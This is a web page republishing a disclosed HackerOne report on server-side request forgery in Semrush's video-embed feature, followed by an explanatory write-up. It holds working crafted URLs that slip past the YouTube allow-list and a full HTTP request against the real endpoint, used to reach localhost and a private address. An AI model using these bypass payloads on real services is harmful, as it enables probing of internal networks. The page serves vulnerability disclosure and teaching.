Skip to content
SSRF Disclosed report Intermediate

SSRF In Get Video Contents

A video-embed feature that fetches YouTube content could be tricked into requesting internal addresses such as localhost and a private IP. An attacker could use this to probe the internal network.

egoist233 Follow

Originally disclosed on HackerOne

  • Triaged in 45 hours
  • Fixed in 3 days
  • Paid in 18 days
  • Disclosed after 35 days

NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report!

Summary: A SSRF In Get Video Contents

Description: When I test a function which is get the video contents from youtube, I found it can requests 127.0.0.1.

Steps To Reproduce:

[Obligated field. Add details for how we can reproduce the issue]

  1. Open your blog url: https://www.semrush.com/my-posts/1111111111/edit/
  2. Click the add video (PIC1)
  3. I found only use the trust domain, the service would request 4 I use URL: http://127.0.0.1/, and it response {"status":403,"error":{"url":["Not valid url"]}}
  4. I use URL: https://1:@my.site:\@@@@w.youtube.com/@https://www.youtube.com/, and it requests my service! (PIC2)
  5. I use URL: https://1:@127.0.0.1:\@@@@w.youtube.com/@https://www.youtube.com/, and the response is {"status":404,"error":"Invalid url 'https:\/\/1:@127.0.0.1:\\@@@@w.youtube.com\/@https:\/www.youtube.com\/' (Status code 404)"}.(PIC3)
  6. I use URL https://1:@10.0.0.1:\@@@@w.youtube.com/@https://www.youtube.com/ , and the response is {"status":404,"error":"Connection timed out after 10001 milliseconds"}.(PIC4)

Supporting Material/References:

[Obligated field] requests:

HTTP
GET /blog/services/oembed/?url=https://1:@127.0.0.1:\@@@@w.youtube.com/@https://www.youtube.com/&callback=CKEDITOR._.jsonpCallbacks[89] HTTP/1.1
Host: www.semrush.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://www.semrush.com//my-posts/████/edit/
Connection: close
███
X-Forwarded-For: 127.0.0.1

Impact

Probe intranet

Attachments

pic1.png
pic1.png From the original on HackerOne
pic2.png
pic2.png

The original report as published on HackerOne, by egoist233. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the URL allow-list check was done on the raw string rather than on the parsed host, so a crafted URL passed validation while the actual request went to an internal address.

Impact

An attacker could probe intranet hosts and ports, using differences in responses and timeouts to map internal services; the text shows only probing, not data retrieval.

How it was found

  1. Open the blog post editor page.
  2. Click the add video option.
  3. Submit a plain localhost URL and observe it is rejected as not valid.
  4. Submit a crafted URL that passes the domain check and observe the server contacts the attacker's own host.
  5. Submit the same crafted form pointing at a loopback address and observe a 404 response.
  6. Submit it pointing at a private address and observe a connection timeout.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The site has a feature that fetches a video from YouTube on the server's behalf. The server sits inside a private network, so if you can make it fetch an address of your choosing, you can use it as a probe to see what internal machines exist. This is called server-side request forgery (SSRF): the server makes the request, not you.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from Semrush

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.